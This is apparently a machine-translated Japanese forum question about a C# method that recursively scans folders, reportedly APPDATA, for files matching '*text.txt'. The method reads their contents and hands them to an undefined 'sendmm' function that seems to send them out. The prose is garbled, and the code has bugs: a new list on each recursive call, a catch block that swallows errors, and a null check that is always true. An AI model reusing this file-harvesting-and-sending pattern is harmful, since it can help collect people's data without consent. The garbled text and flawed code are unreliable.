私は前に問題がありましたが、私はそれを解決しました。私はこの問題を解決できません。foreachループの前にif文が実行されるのはなぜですか?
文がforeachループの前に呼び出さおよびそのため、私はループの後送信したかった変数が空である場合、いくつかの理由
デバッグ絵。どうすれば修正できますか?コードは常に上から下に読み込まれると思いましたか?終わり
は、リストにはそれが必要なすべてが含まれますが文が二度目に呼び出されていない場合は... public static void GetAllFiles(string sDir)
{
List <string> datas = new List<string>();
foreach (string dir in Directory.GetDirectories(sDir))
{
try
{
foreach (string file in Directory.GetFiles(dir, "*text.txt"))
{
string var = File.ReadAllText(file);
datas.Add(var);
}
GetAllFiles(dir);
}
catch
{
}
}
if (datas != null)
{
string dets = String.Join("\n\n", datas.ToArray());
sendmm(dets);
}
}
APPDATAディレクトリが渡されているあなたの方法GetAllFiles
が自分自身を呼び出している
テキストエディタのスクリーンショットは、実際のコードを質問エディタに貼り付けるための非常に貧弱な代替品です。 –
コードを貼り付けて見てもらうといいかもしれません。 – Ma3x
編集中、申し訳ありません – Fightera100